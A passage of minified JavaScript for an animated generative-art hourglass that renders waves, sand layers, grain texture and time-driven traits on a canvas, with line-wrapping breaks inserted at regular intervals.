litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
